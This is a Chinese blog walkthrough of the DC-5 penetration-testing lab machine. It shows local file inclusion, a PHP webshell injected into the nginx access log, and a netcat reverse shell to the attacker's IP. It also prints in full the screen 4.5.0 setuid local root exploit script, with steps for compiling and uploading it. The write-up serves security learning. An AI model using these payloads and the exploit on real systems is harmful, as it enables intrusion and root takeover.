靶机渗透测试实战——DC-5

实验环境:
  • 目标机DC-5的IP地址:未知(192.168.85.144)
  • 攻击机kali的IP地址:192.168.85.139
实验步骤:
1、主机扫描,确定目标主机

命令:arp-scan -l

在这里插入图片描述

2、端口扫描,确定详细服务

命令1:nmap -sS -Pn -A -p- 192.168.85.144
在这里插入图片描述命令2:nmap -sV -p- 192.168.85.144
#-sV —— 用来扫描目标主机和端口上运行的软件的版本

在这里插入图片描述

3、访问DC-5的web服务,了解相关信息

3.1> 访问DC-5的web服务,只有一个提示,看不出什么特别来;
在这里插入图片描述
3.2> 翻一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变;

在这里插入图片描述在这里插入图片描述我们发现:发现contact页面在提交留言后,出现改变,年份刷新一次改变一次,与提示相符,直接去访问thankyou.php也是一样的。

在这里插入图片描述
在这里插入图片描述

4、使用wfuzz测试页面参数

具体使用可以参考:WFUZZ的使用

5、使用御剑进行目录扫描目标机

在这里插入图片描述

6、对状态为200的文件进行访问

注意:访问状态为200的文件,当访问到footer.php文件时,显示如下,并且刷新一次年份会发生改变。

在这里插入图片描述
在这里插入图片描述

7、之前在thinkyou.php中看到了这种情况(没网页刷新一次,年份都会发生变化),因此我们猜测thinkyou.php调用了footer.php,于是想到了文件包含漏洞在这里插入图片描述在这里插入图片描述
8、猜测一下漏洞是否真的存在和看一下是否会过滤包含进来的文件

8.1> 用burp抓包检测,可以看到的确存在该漏洞并且没有过滤包含进来的内容;

在这里插入图片描述

在这里插入图片描述

9、将一句话木马写入到php的日志文件中,包含文件

在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,写入phpinfo()进行探测,是否可以包含成功。

9.1> 将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包;
在这里插入图片描述

9.2> 通过日志文件log查看是否写入成功;

日志路径为:/var/log/nginx/access.log,是系统默认路径

在这里插入图片描述

通过firefox浏览器打开(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),发现一句话木马已经写入成功。

在这里插入图片描述

10、直接写系统执行语句,尝试能否带入命令

通过BurpSuite抓包,并写入PHP的执行系统命令

<?php passthru($_GET['hh']); ?>

关于passthru()函数的快速描述
passthru - 执行外部程序并显示原始输出

在这里插入图片描述

进行测试,看是否外部命令是否能够正常执行的;
命令:http://192.168.85.145/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd
在这里插入图片描述
外部命令已经正常执行。

注意:

当我们写入一句话木马:<?php @eval($_POST['cmd']);?> ,可以通过写入日志文件的路径可以连接,但是蚁剑里面不能够打开终端。可能DC-5后台将eval函数被禁止了。所以我们只能选择别的道路,进行解决。

11、通过nc命令直接进行shell反弹

命令:abc=nc 192.168.85.139 7777 -c /bin/bash
11.1> 在kali上用命令:nc -lvvp 7777 对端口7777进行监听;
11.2> 通过firefox浏览器对日志文件中的木马病毒进行执行;
在这里插入图片描述可以发现我们已经反弹成功!!!

12、切换到交互模式shell

交互式shell命令:python -c “import pty;pty.spawn(‘/bin/bash’)”

在这里插入图片描述

13、查看具有特殊权限的二进制文件

查找一下可以用root权限运行的命令;
命令: find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
这里我们发现了一个screen-4.5.0的这个特殊文件;

14、在kali中使用searchsploit命令对screen-4.5.0漏洞进行搜索

在这里插入图片描述我们直接利用/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件

15、将该41154.sh文件拷贝到/root目录下

在这里插入图片描述

16、因为直接执行这个脚本出现错误了,所以需要对这个脚本完成如下几个工作

具体不走如下:

用vim打开该sh文件,输入:
[plain]
:set ff  
回车,显示fileformat=dos,重新设置下文件格式:
[plain]
:set ff=unix  
保存退出:
[plain]
:wq 

在这里插入图片描述

17、将41154.sh文件上床到目标机DC-5上面

我们使用apache进行上传失败;

在这里插入图片描述可以发现通过kali中开启apache服务,通过wget上传文件失败了!!!

最后我们通过ftp服务进行文件上服务

服务端(kali攻击机)

17.1> 在kali攻击机上安装并启动服务端vsftpd服务;
在这里插入图片描述17.2> 添加用户:lisi,并设置密码:123456

在这里插入图片描述17.3> 在家目录下建立lisi文件夹,并将41154.sh文件粘贴到该文件夹里面;
在这里插入图片描述 并赋予lisi文件夹写权限;

在这里插入图片描述

目标机(DC-5):

17.4> 通过已经拿到的getshell,通过ftp登录攻击机;
在这里插入图片描述
17.5> 下载41154.sh文件,到本地的/tmp目录下(因为/tmp的权限为777);

首先查看/tmp的权限;
在这里插入图片描述
在本地DC-5目标机下载41154.sh文件;

在这里插入图片描述
17.6> 执行41154.sh文件;
在这里插入图片描述
我们可以发现,脚本执行出现错误,是我太疏忽了,没有打开41154.sh文件,研究里面的代码。没办法重新开始研究的。。

18、在kali中打开41154.sh文件
root@kali:/home/lisi# cat 41154.sh 
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
root@kali:/home/lisi# 
通过以上分析,我们应该对以上代码分三步走
第一步:把该bash文件的上面一部分c语言代码单独复制出来,如图

在这里插入图片描述复制完成后,直接带本地对libhax.c进行编译,编译完成后将libhax.c文件删除;
在这里插入图片描述

第二步:把下面一个c语言代码也单独复制出来取文件名为rootshell.c,然后进行编译操作;

在这里插入图片描述
对rootshell.c文件进行gcc编译后,将原文件rootshell.c删除掉;

在这里插入图片描述

第三步:修改原来41154.sh的bash文件,如下图所示;

在这里插入图片描述

第四步:通过vi编译器打开已经编译好的41154.sh文件,并使用 :set ff=unix 进行保存;

在这里插入图片描述编译后对41154.sh进行更名为dc5.sh;

在这里插入图片描述

19、最后把编译好的两个文件(libhax.so 和 rootshell)和41154.sh文件全部都上传到DC-5靶机上面

通过ftp命令登录kali攻击机;
在这里插入图片描述
对文件进行下载操作;

在这里插入图片描述

20、给dc5.sh文件赋予执行权,并且运行dc5.sh,提权成功。

在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值